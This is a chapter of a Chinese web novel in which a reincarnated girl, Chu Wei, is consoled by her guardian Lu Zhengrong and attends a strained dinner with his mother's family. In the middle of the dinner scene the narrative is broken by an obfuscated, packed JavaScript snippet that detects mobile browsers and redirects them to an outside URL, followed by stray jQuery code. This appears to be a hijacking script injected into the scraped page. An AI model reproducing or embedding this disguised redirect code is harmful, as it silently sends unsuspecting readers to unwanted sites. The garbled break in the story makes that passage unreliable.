陆峥荣单手搂着她到怀里,另外一只手轻轻拍了下她的背。
轻声安慰道:“好了,我知道你受委屈了。”
这么一说,就更难受了,哭得更加惨烈。
楚微从小到大哪被人这样道歉过呢?还是长辈,每次小心翼翼生怕出错的。
母亲对她很好的,可惜一只体弱多病,没有更多的经历来操心她。
父亲一向非常暴力言语攻击,家庭中的亲情感受的太少太少了。
陆峥荣伸手擦了下她的泪水,确定、肯定她在委屈和真正的难受,并不是在演戏,心里还是泛起一阵涟漪。
他以前还没发现自己会这样容易挑起情绪和愤慨。
“我给你转了班级,以后有什么事可以第一时间告诉我,如果不方便直说,就写小纸条和信,都可以。”
楚微仰着头看向他:“好,我一定听你的话。”
这样混日子也不对啊,校园生活其实没有上辈子那么艰苦,最起码还可以正常上下学,晚上不需要和其他学生那样挑灯夜读,东西温习温习很容易学会。
来到这个新世界,总归是要好好生活的。
陆峥荣的手从她背上移开,低头看着她哭花的脸,没再说什么安慰的话,只是把纸巾盒又往她面前推了推。
“擦干净,吃饭。”
楚微听话地抽了几张纸巾,把眼泪擦了一遍。
陆峥荣给她切了一块蛋糕。
楚微接过,挖了一大块,很美味很好吃。
“哥,你怎么不吃呀?”
他用丝巾擦拭着手说道:“我不爱吃。”
她悠然的说:“你不会是那种‘你吃吧,我不爱吃’然后偷偷啃馒头,以后说我不孝顺的家长吧?”
陆峥荣愣了一下,不知道她什么意思?
想想这时候还没新潮思想,也很少人理解这种心里。
楚微看着他迷茫的眼睛耐心解释道:“就是人前装大度,人后受苦,过后抱怨自己吃喝都差,都怪孩子不孝顺。”
“不是。”他淡淡的说,“我们家不缺这个,怎么你担心跟我吃不好?而且我不是会受苦的人,只是会有限度。”
“比如呢?”楚微很好奇的问。
“没有比如,这没什么好举例子的。”
他倒是很冷漠呢。
楚微还是很羞愧的低着头,叹了口气:“哎,发生这些事,我耽误你挣钱了,让你大老远跑过来,以后我保证不会再惹事了。”
“小小年纪,叹什么气?”陆峥荣给她夹了菜,然后很认真的口气与她平和的交流,“这件事归根结底是我不对。你考上大学之前我不会外出超过半个月。小英,希望以后你有什么事一定要说出来,不要自己闷着,更不要忍。我既然把你带回来就是一家人,不是吗?”
这次楚微没有过多的情绪表达,虽然内心很感动,还是露出牙齿笑出来,装作很松弛的模样:
“好呀,好啊,以后我什么事都说,你可不要嫌我烦。”
来这里大半年了,好像每天都在浑浑噩噩的生活,发生很多的事情,受伤,好奇,斗法,宫斗,现在都快忘了怎么好好的生活,去享受新的人生。
陆峥荣吃的并不多,主要是从东北坐火车非常疲倦,立刻就处理了所有事宜。
原本以为胃口大开,发现并没有太多胃口。
楚微看向他,发现他眼底有一层淡淡的青黑,她之前只顾着自己哭、自己委屈,竟然没注意到他的疲惫。
“哥,你吃得好少。”她看着他那碗几乎没怎么动的米饭,“对不起,让你操心了,但是我保证以后好好学习,听你的话,绝对不会再惹你生气。”
陆峥荣端起水杯喝了一口:“我不是很饿。”
楚微又不是三岁小孩,哪会信这种话。
主要她也不会肉麻的话,只能垂着头示弱:“哎,哥哥,我看了下北京的大学,以后考个好的985,到时候再找个好工作,不给你丢人,行不行?”
“什么985?”
“98年5月第一批九所大学呀。”
陆峥荣大概也不想猜,只说:“小英,你考去哪里,考成什么样,都是你的人生,”
他的声音不大,“不是给我交差,也不是给任何人交代,你不用活成别人期待的样子。”
多么民主伟大的老父亲呀!
楚微听得激动,站起来搂住他的脖子,“伟大的哥哥,无私奉献的亲人啊!”
陆峥荣很少被人这样“折磨”和亲密,拉着她的胳膊让楚微坐下,“什么样子!”
“什么样子啊?这是亲人之间的拥抱。”
他说:“你现在十六岁,已经是大姑娘,不需要亲人之间的拥抱。”
楚微拿起筷子咬着说:“你不会没和人抱过吧?我都看见了。”
“看见什么了?”
“看见你之前有女朋友啊。”
楚微是在爷爷家里楼上抽屉看到的,他和一个女孩黑白照片的合影,看着当时年龄并不大,十七八岁的样子。
背后还用钢笔字写的,“峥荣,月,于1982年”
按照年代文设定,陆峥荣应该还有个白月光吧,不过她好像不是女主角,那真正的女主角是谁呢?
正当胡思乱想时,陆峥荣解释道:“岑月是我爷爷在我很小时候定的,现在早就不是了。”
他面容有些难看,似乎并不想多提。
看样子很像白月光弃他而去,两个人无疾而终。
不过,都新中国成立了,居然还有娃娃亲,只是娃娃亲大部分都是悲剧,长大了必定有一方不愿意。
先婚后爱实在是太少了。
楚微当然也不会好奇到追根到底,只说:“哥,人生得意须尽欢,何必计较那些往事呢。”
陆峥荣听到这句话,抬眼看了她一下。
他淡笑道:“你一直这么早熟吗?”
心里有隐隐对她心疼,一个人家里到底经历了多少困难和无助,才会这么早熟。
“你才十六岁,说起话来倒像六十岁。”
楚微笑了一下,没有反驳。
她心里想的是:我上辈子加这辈子,确实快四十岁了。
比你还大不少呢。
“哥,”她换了个话题,“新家我们什么时候能搬?”
“下周应该可以,”陆峥荣说,“简单装修一下,买一些家具,搬过去就能住。”
“那我可以养猫吗?”
“可以。”
楚微笑了笑,“其实我也没养过,只是很好奇在家里养猫什么感觉。”
陆峥荣对这些小事都不在意,“你看着吧,留一间房间给你,随意布置,最主要不要玩物丧志。”
“没问题!”
楚微满口答应,真没想到这件事这么愉快就结束了。
吃完饭的时候,她主动去刷碗打扫。
这次他没有当大爷,在旁边一直帮忙冲洗。
楚微卷着袖子,认认真真地把每一个碗和厨房都刷了两遍,又用清水冲干净。
擦完灶台,洗了抹布,又把厨房台面上的水渍擦干净,她才解下围裙挂好,转身走出厨房。
为了表达自己改邪归正的决心,楚微就去书房看书。
其实这些卷子和内容,重新学习,还是很快入门的,何况她还是大学生好吧?大学时候虽然很贪玩,但是成绩还是很不错,冲高一开始读书,岂不是复读三年?
怎么样也可以六百分吧?
她扫了眼英文,简直一眼入门知道标准答案。
可能稍微专心点,背后站着人看着都没发现。
陆峥荣已经换了一身很休闲的衣服,低头看着她笔尖飞快写字的动作,有点倒吸一口气。
“这些你都会?”
楚微这才抬起头感受到他,拍了下胸口说:“你怎么过来一点声音都没有啊。”
她拍了下卷子说:“easy,简单的要命!”
陆峥荣:“......”
楚微说道:“哥,你信不信呢,上辈子我好像看过这些东西了,所以闭眼入,你说神奇不神奇?”
陆峥荣大概习惯了他的天马行空,拉了旁边的椅子坐了下来,好像盯着孩子完成作业的家长,边维护她不停运转的大脑:“我信了。”
楚微低头笑着继续写字,陆峥荣手指点着她的额头,“注意坐姿。”
她立刻坐的跟小学生一样,歪着头看向他:“哥,你是不是不打算走了?”
“嗯,春节前不走了。”
“太好了,以后我们就可以朝夕相处啦。”
陆峥荣看着她微微地、几乎不可见地笑了一下。
“以后再挣钱行不行,我可以和你一起做生意,保证你发财!”
陆峥荣有点好奇的看着她:“怎么保证?”
“反正你别管了,肯定可以发财。”
说起钱,他拿出钱包,厚厚的钱包一百的,五十的都有,感觉有好几千。
陆峥荣抽出不少,递给她。
“够不够?”
楚微很不客气的接过,不住的点头:“够够够,哥,你发财了么?”
“一点。”
“一点是什么?”
“赚了几万。”
我去!几万?
再过三十年后的她,手里也没有过几万块钱的现金。
人跟人的差距就像天上地下,怎么才能缩短呢?
楚微心里这下没一点负担了,就当先给资本家花钱了,能偷偷攒一些钱,有了基本金,买房、买黄金、炒股,想起来这些,感觉这辈子都要躺在钱队里数钱了。
陆峥荣和她有一句没一句的聊着,外面的座机响了起来。
听到他接电话的口气,就知道妈妈打来的。
她把钱折好塞进裤兜里,心里盘算着怎么攒起来。
章秋:“峥荣,回来了吗?”
“嗯,回来了,昨天到的。”
妈妈说:“晚上来吃个饭吧,你叔叔和弟弟也很想你。”
从前他对这些叔叔弟弟词汇,内心反应是很大的,现在好了很多,他“嗯”了一声。
章秋听得出儿子有点勉强,有些讨好的说:“让小英一起来吧。”
陆峥荣:“好,不过她高二分科后,课业繁忙,晚上我们不能住在哪里。”
“行,那晚上吃了饭就走,我让阿姨早点准备。”章秋的声音带着一种小心翼翼的妥帖,“小英爱吃什么?我上次听云姐说她喜欢吃甜点对吗?”
“她现在学习,还是不要吃太甜,容易血糖高,多准备一些肉吧。”
母子俩真的很客气,也没多说什么就挂断了。
陆峥荣挂掉电话就是拆开买来的衣服,不知怎么,这次不要求朴素了,要求穿得时尚一些。
他出门专门给楚微买了个耳环。
没人说十六岁不能打扮啊。
穿着红色裙子,还有小皮鞋,白袜子,加上耳环,毛糙蓬松卷曲的头发拢起来,很不错啊。
楚微出门前照镜子。
“哥,这不太好吧,你妈妈会误会的。”
“误会什么?”
“你说呢?”
虽然实际年龄两人差不多,可身体年龄真的就十几岁。
不过抬头看到镜子中陆峥荣那个纯真无邪,毫无杂念的脸,她也没多说什么。
无论这母子俩出现了什么问题,反正别波及到她身上就可以。
楚微随着一起下楼时,看到路边停了一辆吉普车。
“哥,你真牛,又换车了,还是德国的。”
陆峥荣拉开车门,回头看了她一眼:“这是借的。”
楚微弯腰钻进副驾驶,还得拉着红裙子的裙摆,伸手拢了一下,坐好了才问:“你车呢?”
“送去保养了。”陆峥荣发动车子。
楚微立刻坐直端庄一些,说道:“到阿姨家,我是不是什么都不用说,只管吃就好了?”
陆峥荣看着有心事,“看情况吧,我让你过去也不是吃饭的。”
“那是什么?”
“拉我走。”
楚微立刻如临大敌,“你们不会吵架吧?先说好,我是很害怕吵架的,到时候说不定我一个人跑路的。”
“你怕什么?我不会和人吵架的。”
车子在梧桐树街道边停下来,这次他们一家三口都过来了。
将将好像真的长高了,毕竟十二岁了。
不过坐在车里看他们三人,徐闻翎,章秋阿姨,还有将将,长得都很有气质,很和谐的一家人。
反倒是陆峥荣,有点格格不入。
楚微是第一次见到陆峥荣的后爸,果然和他妈妈特别般配,真的很像民国痴情男女。
现在算算时间,他们似乎就是抗战时期出生的。
陆峥荣的爷爷有地位她是知道的,不过妈妈看样子是资本家的小姐,那时候免不了扣帽子。
这种事实在说不准谁对谁错。
陆峥荣还是和以前一样,只要过来就会拿很多东西,跟走亲戚差不多。
将将看见哥哥,很调皮的说:“妈妈,哥哥又带着这个乡下丫头来了。”
章秋立刻捂住他的嘴,“将将!怎么说话呢?”
陆峥荣笑了下:“没关系。”
楚微倒是没什么反应,她早就习惯将将对她这个态度了。
小孩子嘛,觉得她是个外来者,抢走了哥哥的注意力,不待见她也正常。
十一二岁的孩子有占有欲太正常了。
何况,他的这个哥哥似乎很少待在这个家,
徐闻翎走过来,气质优雅,温和的打圆场:“上楼吧,饭快好了。”
楚微是不会光明正大打量每个人的,只是徐闻翎不知道应该叫教授,还是工程师,研究院的人,而且五十岁左右的年龄,不是主任也得所长吧。
真是气质优雅,一看就是读书人。
将将躲在母亲身后,偷偷朝楚微做了个鬼脸。
楚微假装没看见,乖乖跟在陆峥荣身后进了屋。
章秋拉着陆峥荣的胳膊,仔细端详他:“瘦了,在东北是不是没好好吃饭?”
“吃了,偶尔忙起来顾不上。”陆峥荣回答的很简短。
“再忙也不能亏了身体,你还年轻将来有很多时间做一些其他事情,何必要全国各地的跑呢?”
章秋叹气,又看向楚微,语气柔和了些,“小英也来了,快坐,阿姨给你留了点心。”
陆峥荣始终就是很紧绷,客气的坐着。
不知道他是不是不习惯这样喜乐融融的场景,吃得很慢,很好。
很美味啊,楚微每道菜都吃了,确实很好吃。
可能大佬都有“胃病”吃的少的癖好?
章秋坐在陆峥荣对面,目光一直没从他身上移开,筷子夹了一块排骨放进他碗里。
“多吃点肉。”她的声音轻柔,“东北天冷,你又不爱多穿衣服,回头膝盖要疼的。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17574087|204697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
陆峥荣“嗯”了一声,把那块排骨吃了,没说好也没说不好。
章秋又给他舀了一碗汤,推到手边:“这是阿姨炖了一下午的鸡汤,放了人参,你尝尝。”
陆峥荣端起碗喝了一口,点头:“不错。”
总之全家动员都在关心这个好大儿。
楚微当然不会像将将那样嫉妒,她能来就不错了,参与别人的家庭是没有资格的。
不过,自己孤苦伶仃上辈子、这辈子,难免会有点羡慕。
更羡慕的确实将将。
章秋又转头看向楚微,笑着问:“小英,菜合胃口吗?要是吃不惯,阿姨下次让厨师换换口味。”
楚微立刻点头:“好吃好吃,美味美味。谢谢阿姨。”
将将坐在章秋旁边,一直用筷子戳着碗里的米饭,时不时瞟一眼陆峥荣,又飞快低下头。
章秋注意到了,伸手摸了摸儿子的头:“将将,你不是有话要跟哥哥说吗?”
将将脸一怒,“我才不和他说话,他不是我哥,是这个人的哥,对外人比对我好。”
这个人就是特指楚微,十几岁其实年龄说小不小,应该四五年级的学生了,听到这些还是有点尴尬。
章秋捏了下他的脸:“不要胡说,哥哥很喜欢你的。”
真是充满女性的光辉,想想生这个孩子三十多岁了,和最爱男人的孩子,无论说什么话都不会被责怪吧。
徐闻翎放下筷子,笑着接过话:“这小子最近确实用功,考了全班第十,每天晚上都要学到九点多,他妈妈催好几遍才肯睡,是想得到哥哥的夸奖呢。”
章秋嗔怪地看了儿子一眼:“就是太要强了,上次考了第十五名,回来哭了一鼻子。”
楚微也跟着一起笑,扭头看见陆峥荣没有任何的情绪。
他坐在那里,筷子搁在碗沿上,背挺得笔直,像是一个旁观者,安静地看着别人家的热闹。
原本挺温馨的画面,将将起身走到洗漱间拿了玩具,喷头一洒,楚微和陆峥荣身上全是水。
她胸口的裙子直接贴在胸上。
陆峥荣立刻起来,“你干什么?”
他的声音不大,夺走玩具就扔到一边。
大概这就是军人的气场,声音不大也很阴冷,其实谁都感受出来大家都不开心。
将将被吓住了,嘴巴张着,眼睛瞪得溜圆,半天说不出一个字。
章秋猛地站起来,椅子往后一倒,发出刺耳的声响。
“峥荣!他不是故意的—”
“他往人身上喷水。”
陆峥荣转身脱下自己的外套,披在楚微身上。
陆峥荣拉起她的手,似乎准备走。
“峥荣!”章秋追了两步,声音带着哭腔,“外面冷,让她先把衣服换了,我拿将将的衣服给她穿。”
“不用了。”
楚微已经深刻的感受出来,要世界大战。
母子俩决裂的戏码马上上演,她可以充分的感觉出来,陆峥荣对这里心情很复杂,很难受,甚至完全没办法再待下去。
章秋想修护关系,可看得出她更爱的是将将。
徐主任纯粹的外人,无法参和,属于十指不沾阳春水那种读书人,完全没能力处理这样的家务事。
她呢?自幼看到父母婆媳之间的吵架,只有害怕和恐惧,这一年享受了太多陆峥荣的关爱,都忘了自己曾经怎么过来了。
楚微笑着拉了拉陆峥荣的袖子。
“哥,我真没事,就洒了点水,不冷的。”她抬起头,冲章秋弯了弯眼睛,“阿姨,有没有干毛巾?我擦擦就行,不用换衣服。”
章秋愣了一下,连忙点头:“有、有的,我去拿!”
楚微主动走过去,接过毛巾:“谢谢阿姨。”
擦拭的时候不小心把耳环碰了下来,看着将将还站在原地,红着眼眶看着楚微。
“你是不是也想让你哥给你买耳环?”她笑着问。
将将一愣,摇了摇头,又赶紧点头,最后别扭地别过脸去:“我才不要耳环,我是男的。”
“那买别的呗,你想要什么?”
将将不说话了,偷偷看了一眼陆峥荣,又飞快收回目光。
楚微站起来,转身看着陆峥荣,笑着说:“哥,你看你,弟弟想要礼物都不敢跟你说,你是不是太严肃了?”
他当然知道楚微在干什么,她在给他搭台阶,也给章秋和将将搭台阶。
章秋立刻抓住这个机会,上前拉住陆峥荣的胳膊:“先坐下,把饭吃完,阿姨给你盛碗热汤暖暖。”
又扭头对将将说,“还不快跟你哥和小英姐道歉?”
将将咬着嘴唇,憋了半天,哼了一声:“对不起。”
“大点声。”章秋拍了他一下。
“对不起!”将将喊了一声,眼眶又红了,转身跑进了自己房间,门砰地关上了。
章秋很伤心,大概人都处理不来这样的关系,眼泪也跟着掉下来。
楚微把擦拭好的毛巾放了回去。
两个人食不知味地吃完了一顿饭。
他们家有两个阿姨,用不着帮忙洗碗,估计也不敢使唤儿子的妹妹去干活,那么客气的一家人。
楚微看得出章秋对陆峥荣还有话讲,为了避嫌,还是先下楼等着。
十月的风有点凉意,等了二十多分钟陆峥荣才下来。
他刚下楼梯就点了一支烟,把自己的外套又给了她。
尽管晚上看不清人的表情,还能判断出,他似乎还是不开心,或者说在极力隐忍克制。
陆峥荣很严肃,她也大气不敢喘。
人的气场就是这样,他妈妈、弟弟,还有朝夕相处的她,都会怕怕的。
他扫了她一眼,笑着问:“你怕什么?”
楚微笑了笑:“我不是怕你,只是人生气的时候很容易丧失理智,从而做一些令人后悔的事,你平时表现的那么完美,不管因为什么,愤怒都不值得。”
看得出,刚才他想发怒,想震怒,忍了又忍,楚微不知道他们之间多深的隔阂,只是他们之间还想着融入修复,一旦失控,一切都没回旋的余地。
陆峥荣虽然早就习惯她“高超”、“早熟”的理论,还是微微震惊了下,“小英,你很聪明,是我不够聪明。”
她摇摇头:“不是的哥,你很棒,我知道你也想努力修复关系,可人的一生就是很多很多事情堆积起来形成的性格,不可能跳过任何一环的,你变不成她期望的样子,她给的爱,你可能没办法真正地接受。”
陆峥荣讶然地看向她,“接着说。”
楚微叹了一口气,继续说道:“我知道你觉得我为什么总是说一些似是而非的大道理,其实我从小就会看人脸色。我妈身体不好,我爸喝了酒就打人,不只是家人,还有其他人,耍酒疯!我妈每次都会躺在床上哭,他喝醉酒出门,几天不回来。我那时候才七八岁,不知道该怎么办,就想着,如果我乖一点,是不是他们就不会这样了?”
“所以我就学会了。观察大人的情绪,听脚步声判断我爸喝了多少酒,看脸色就知道今天能不能开口要学费,事实上这一切都没用。我只能自我消化,不要厌弃自己,不要期待、幻想别人家的生活,没有任何意义,现在不是一切都好了吗?我跟你在一起真的很快乐。”
陆峥荣夹着烟的手顿了一下,不注意烟灰掉落在他的上衣,他伸手掸了掸,轻轻揽了下她的肩膀:“好妹子,我这辈子做的最正确的事,就是带你走。”